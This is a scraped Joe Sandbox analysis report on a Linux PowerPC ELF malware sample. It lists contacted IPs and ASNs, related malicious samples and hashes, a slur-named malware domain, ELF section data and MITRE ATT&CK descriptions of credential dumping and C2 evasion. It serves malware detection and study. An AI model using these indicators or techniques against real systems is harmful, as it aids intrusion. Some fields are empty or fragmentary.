164.29.213.180	unknown	Germany	29355	KCELL-ASKZ	false
173.29.119.135	unknown	United States	30036	MEDIACOM-ENTERPRISE-BUSINESSUS	false
35.175.60.200	unknown	United States	14618	AMAZON-AESUS	false
169.99.231.202	unknown	United States	37611	AfrihostZA	false
197.120.220.110	unknown	Egypt	36992	ETISALAT-MISREG	false
152.38.121.53	unknown	United States	81	NCRENUS	false
23.89.242.139	unknown	United States	18978	ENZUINC-US	false
157.149.243.145	unknown	United States	3464	ASC-NETUS	false
202.111.96.235	unknown	China	4809	CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr	false
203.102.4.1	unknown	Australia	703	UUNETUS	false
197.132.217.153	unknown	Egypt	24835	RAYA-ASEG	false
58.99.132.253	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
107.227.192.221	unknown	United States	7018	ATT-INTERNET4US	false
157.54.13.234	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
143.167.243.245	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
168.118.99.158	unknown	United States	36026	AS-CHI-CORPUS	false
164.33.39.123	unknown	Germany	29355	KCELL-ASKZ	false
1.49.152.65	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
42.200.198.6	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
86.236.61.106	unknown	France	3215	FranceTelecom-OrangeFR	false
23.243.83.149	unknown	United States	20001	TWC-20001-PACWESTUS	false
78.23.148.16	unknown	Belgium	6848	TELENET-ASBE	false
171.71.49.240	unknown	United States	109	CISCOSYSTEMSUS	false
157.10.106.234	unknown	unknown	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
157.162.207.101	unknown	Germany	22192	SSHENETUS	false
118.102.27.136	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
157.10.106.238	unknown	unknown	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
71.244.178.89	unknown	United States	701	UUNETUS	false
158.45.81.8	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
157.187.216.192	unknown	United States	668	DNIC-AS-00668US	false
31.162.19.200	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
197.118.32.220	unknown	Algeria	36947	ALGTEL-ASDZ	false
32.128.69.157	unknown	United States	2686	ATGS-MMD-ASUS	false
219.56.220.21	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
133.181.6.0	unknown	Japan	385	AFCONC-BLOCK1-ASUS	false
197.128.22.123	unknown	Morocco	6713	IAM-ASMA	false
191.3.3.254	unknown	Brazil	7738	TelemarNorteLesteSABR	false
157.15.151.190	unknown	unknown	2512	TCP-NETTCPIncJP	false
184.147.45.20	unknown	Canada	577	BACOMCA	false
220.241.13.123	unknown	Hong Kong	4515	ERX-STARHKTLimitedHK	false
157.3.239.228	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
91.120.127.54	unknown	Hungary	5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false
181.83.147.186	unknown	Argentina	7303	TelecomArgentinaSAAR	false
120.92.106.113	unknown	China	137280	KSYUNGLOBAL-AS-APKingsoftcloudcorporationlimitedHK	false
60.71.140.190	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
71.100.23.209	unknown	United States	701	UUNETUS	false
223.221.104.210	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
57.114.130.238	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
120.64.203.194	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
39.111.93.15	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
37.27.84.89	unknown	Iran (ISLAMIC Republic Of)	39232	UNINETAZ	false
73.57.18.40	unknown	United States	7922	COMCAST-7922US	false
54.181.79.156	unknown	United States	16509	AMAZON-02US	false
65.199.154.44	unknown	United States	16983	AS16983US	false
85.246.179.242	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
137.108.103.130	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
73.196.153.239	unknown	United States	7922	COMCAST-7922US	false
136.151.234.163	unknown	United States	1204	SUNYNET-ASN-ASUS	false
58.69.119.6	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
157.252.45.39	unknown	United States	3592	TRINCOLL-ASUS	false
168.149.243.163	unknown	United States	16509	AMAZON-02US	false
208.82.116.128	unknown	United States	33322	NDCHOSTUS	false
39.249.90.60	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
197.163.185.208	unknown	Egypt	24863	LINKdotNET-ASEG	false
213.90.31.59	unknown	Austria	8437	UTA-ASAT	false
54.189.236.72	unknown	United States	16509	AMAZON-02US	false
40.70.164.134	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
41.165.218.75	unknown	South Africa	36937	Neotel-ASZA	false
34.254.55.154	unknown	United States	16509	AMAZON-02US	false
13.107.240.20	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
196.111.216.214	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.55.181.98	unknown	Egypt	8452	TE-ASTE-ASEG	false
202.46.47.214	unknown	China	24413	CNNIC-SUNRISE-APShenZhenSunriseTechnologyCoLtdCN	false
193.140.68.130	unknown	Turkey	8517	ULAKNETTR	false
148.124.33.134	unknown	United States	2119	TELENOR-NEXTELTelenorNorgeASNO	false
41.48.164.210	unknown	South Africa	37168	CELL-CZA	false
79.188.24.168	unknown	Poland	5617	TPNETPL	false
98.105.151.88	unknown	United States	6167	CELLCO-PARTUS	false
131.95.69.229	unknown	United States	16430	USMUS	false
90.151.49.93	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
157.136.46.234	unknown	France	2200	FR-RENATERReseauNationaldetelecommunicationspourlaTec	false
197.153.85.36	unknown	Morocco	36925	ASMediMA	false
57.49.18.77	unknown	Belgium	2686	ATGS-MMD-ASUS	false
108.150.4.168	unknown	United States	16509	AMAZON-02US	false
115.210.49.92	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
101.213.151.18	unknown	India	58519	CHINATELECOM-CTCLOUDCloudComputingCorporationCN	false
41.91.11.119	unknown	Egypt	33771	SAFARICOM-LIMITEDKE	false
189.233.26.158	unknown	Mexico	8151	UninetSAdeCVMX	false
100.11.56.196	unknown	United States	701	UUNETUS	false
118.41.210.76	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
121.170.59.11	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
206.211.152.201	unknown	United States	17369	CHAPNETUS	false
45.172.128.100	unknown	Brazil	268770	SULIMARISILVASOARES-MEPORTALTIMONBR	false

Match	Associated Sample Name / URL	SHA 256	Detection	Link
197.120.220.110	x86	Get hash	malicious	Browse
	aqua.arm	Get hash	malicious	Browse
	x86	Get hash	malicious	Browse
	82WRmoJP2e	Get hash	malicious	Browse
119.219.35.121	0CCjp5hffL.elf	Get hash	malicious	Browse
41.195.197.44	xD3P9qOVJ8.elf	Get hash	malicious	Browse
197.132.217.153	05OMf1odXe.elf	Get hash	malicious	Browse
	eeo7Pwk87J.elf	Get hash	malicious	Browse
	7GpkuBdue9	Get hash	malicious	Browse
	14l9RudrIU	Get hash	malicious	Browse
	IusMRUrdKX	Get hash	malicious	Browse
	7fic3HM8I3	Get hash	malicious	Browse
41.171.231.186	hIzj0GO5fn	Get hash	malicious	Browse
41.171.231.186	M1IvLwww63	Get hash	malicious	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
dogeatingchink.uno	qf2zCx0Y9y.elf	Get hash	malicious	Browse	45.12.253.12
	20ZCieiwwJ.elf	Get hash	malicious	Browse	45.12.253.12
	jOXiR3R48P.elf	Get hash	malicious	Browse	45.12.253.12
	uekXXxUc43.elf	Get hash	malicious	Browse	45.12.253.12
	G7APAyIs9a.elf	Get hash	malicious	Browse	45.12.253.12
	3L7By8x8KC.elf	Get hash	malicious	Browse	157.230.220.122
	uH2CNPK47a.elf	Get hash	malicious	Browse	157.230.220.122
	A6De2hiUgN.elf	Get hash	malicious	Browse	138.68.65.48
	ZRCgFdio2a.elf	Get hash	malicious	Browse	185.225.16.43
	jklarm7.elf	Get hash	malicious	Browse	157.245.102.148
	jklarm.elf	Get hash	malicious	Browse	157.245.102.148

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
KIXS-AS-KRKoreaTelecomKR	6wseX4TTyJ.elf	Get hash	malicious	Browse	14.44.144.42
	c2FA6NS2Ey.elf	Get hash	malicious	Browse	119.198.8.59
	HEsLxOKEBm.elf	Get hash	malicious	Browse	220.124.150.255
	I2sRDi5Rnd.elf	Get hash	malicious	Browse	119.194.35.123
	yaaX4TyojD.elf	Get hash	malicious	Browse	175.239.12.77
	VJ2BE13Nzt.elf	Get hash	malicious	Browse	175.215.45.82
	o38ZHLRw1D.elf	Get hash	malicious	Browse	119.213.48.141
	p2u8AWCp56.elf	Get hash	malicious	Browse	163.213.230.83
	CDBM32nPmA.elf	Get hash	malicious	Browse	118.48.123.48
	GNXAIWLGRR.elf	Get hash	malicious	Browse	222.116.84.174
	2KqkAvq5nW.elf	Get hash	malicious	Browse	115.23.37.164
	WbjTvuf9X2.elf	Get hash	malicious	Browse	118.38.48.239
	U3NCSizv0d.elf	Get hash	malicious	Browse	14.83.92.181
	dAD8BqsaAh.elf	Get hash	malicious	Browse	175.216.158.200
	Hajy8WmEua.elf	Get hash	malicious	Browse	59.23.107.120
	ST8t1uGF6l.elf	Get hash	malicious	Browse	121.130.201.108
	fl2Wn9c8yu.elf	Get hash	malicious	Browse	222.112.250.185
	IVDLscfxeE.exe	Get hash	malicious	Browse	61.84.208.123
	r7DDxnt76P.exe	Get hash	malicious	Browse	61.84.208.123
	sAchsbrVaX.elf	Get hash	malicious	Browse	14.86.131.54
MTNNS-ASZA	log21.x86.elf	Get hash	malicious	Browse	41.113.13.35
	o38ZHLRw1D.elf	Get hash	malicious	Browse	216.5.36.222
	p2u8AWCp56.elf	Get hash	malicious	Browse	41.115.200.44
	E61YQkjoKn.elf	Get hash	malicious	Browse	41.126.94.180
	DF561XwYj2.elf	Get hash	malicious	Browse	41.120.158.130
	Y7sFbi0UY9.elf	Get hash	malicious	Browse	197.65.69.89
	bsUsCyB61C.elf	Get hash	malicious	Browse	197.73.232.53
	l74eoETA5E.elf	Get hash	malicious	Browse	41.123.62.214
	GNXAIWLGRR.elf	Get hash	malicious	Browse	197.72.230.238
	HfkMoXkU5b.elf	Get hash	malicious	Browse	197.78.22.245
	ljc.sh	Get hash	malicious	Browse	41.117.228.119
	ST8t1uGF6l.elf	Get hash	malicious	Browse	197.73.219.55
	UJA4UUHlPP.elf	Get hash	malicious	Browse	41.122.114.205
	7yKvHvL7Jf.elf	Get hash	malicious	Browse	41.127.73.137
	UvS6yjCoLC.elf	Get hash	malicious	Browse	105.237.76.27
	iHmMiOSPl9.elf	Get hash	malicious	Browse	105.210.251.78
	Ngz5jmRDQ2.elf	Get hash	malicious	Browse	197.69.172.192
	rWYEDTeCoP.elf	Get hash	malicious	Browse	41.122.213.9
	3S7C6E8a00.elf	Get hash	malicious	Browse	105.208.101.21
	Wv5Lg653LX.elf	Get hash	malicious	Browse	105.209.249.109

Process:	/tmp/eOKWFR38tO.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	3.4950072849681724
Encrypted:	false
SSDEEP:	6:MngDFFgQlr/VcDFFgsoY/VfKoO/VNfiY/VH:MYbgQ4bghl
MD5:	37DA895313A6DEA8F2D55B35D5C53691
SHA1:	30BD850C44DAC1DFF035432E65D5370E93DD134A
SHA-256:	D2C7E91FD27A41DD836CBD074B787664AFB2969D12B78B3BD33EE15670133993
SHA-512:	B422DF3552D89B4218C38A09241BB87137645E31F22F57585CAD1346E656306B8E6C379F1740FA9BA6E7C96BA2CF675435C122C390950FBE247B548DDF3E7E10
Malicious:	false
Reputation:	low
Preview:	10000000-1000e000 r-xp 00000000 fd:00 531606 /tmp/eOKWFR38tO.elf.1001d000-1001e000 rw-p 0000d000 fd:00 531606 /tmp/eOKWFR38tO.elf.1001e000-1001f000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.264851849246467
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	eOKWFR38tO.elf
File size:	56640
MD5:	1833f25145ca5092876933d95f824179
SHA1:	f7ad3f0857f46fb63414c2abc3a8c1595ce8bfc3
SHA256:	56984dad2d0dd7f951b67521c5266568afc4bafde0c7bd531f52e1ea21cd3d8a
SHA512:	70ec0d54e69b4192f5fa286b35f28d47d934b68e1405431382c6171524c9a3067edb95f1e0eee8ef69007c7debea95460816144bc9850c93b1d9a7cd29ad89e2
SSDEEP:	768:ur7xv4XXNlb+1EzsTD1HdRtv287M1L/29Hes8Dr6SVGjGEa2xGWar4YCygHWk2md:VATR99Mgsl6rbFaAFHfdtP
TLSH:	D0435B0272180A47E5661EF1293F1BE083FFEE9021F4B689695FDB568271E331186F9D
File Content Preview:	.ELF...........................4...8.....4. ...(....................................................... ............dt.Q.............................!..\|......$H...H..i...$8!. \|...N.. .!..\|.......?..........\..../...@..\?........+../...A..$8...})......N..

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report eOKWFR38tO.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.08jxxI (deleted)

/tmp/qemu-open.0NqTWI (deleted)

/tmp/qemu-open.0OH9KL (deleted)

/tmp/qemu-open.0exe3H (deleted)

/tmp/qemu-open.0vL1FK (deleted)

/tmp/qemu-open.0xmkuI (deleted)

/tmp/qemu-open.0zy24I (deleted)

/tmp/qemu-open.14cQsH (deleted)

/tmp/qemu-open.185EAJ (deleted)

/tmp/qemu-open.1EfnjK (deleted)

/tmp/qemu-open.1ZVc1J (deleted)

/tmp/qemu-open.1b7KrI (deleted)

/tmp/qemu-open.1hB0iL (deleted)

/tmp/qemu-open.1p9YlJ (deleted)

/tmp/qemu-open.1wM8wI (deleted)

/tmp/qemu-open.22ihIJ (deleted)

/tmp/qemu-open.2SoP5J (deleted)

/tmp/qemu-open.2ZFKbL (deleted)

/tmp/qemu-open.2lN9fK (deleted)

/tmp/qemu-open.34dKjI (deleted)

/tmp/qemu-open.39AyJL (deleted)

/tmp/qemu-open.3A2nuI (deleted)

/tmp/qemu-open.3Ex4JJ (deleted)

/tmp/qemu-open.3XKa6H (deleted)

/tmp/qemu-open.3fw0ZL (deleted)

/tmp/qemu-open.3nrTwK (deleted)

/tmp/qemu-open.3sBHSL (deleted)

/tmp/qemu-open.3uVCRK (deleted)

Linux Analysis Report
eOKWFR38tO.elf

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0xccc0	0x0	0x6	AX	4
.fini	PROGBITS	0x1000cd78	0xcd78	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x1000cd98	0xcd98	0xb2c	0x0	0x2	A	4
.ctors	PROGBITS	0x1001d8c8	0xd8c8	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001d8d0	0xd8d0	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1001d8d8	0xd8d8	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1001d8e0	0xd8e0	0x1f0	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001dad0	0xdad0	0x18	0x0	0x3	WA	4
.sbss	NOBITS	0x1001dae8	0xdae8	0x74	0x0	0x3	WA	4
.bss	NOBITS	0x1001db5c	0xdae8	0x308	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xdae8	0x50	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0xd8c4	0xd8c4	6.3106	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd8c8	0x1001d8c8	0x1001d8c8	0x220	0x59c	2.3657	0x6	RW	0x10000	.ctors .dtors .jcr .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Start time:	19:12:05
Start date:	12/02/2023
Path:	/tmp/eOKWFR38tO.elf
Arguments:	/tmp/eOKWFR38tO.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre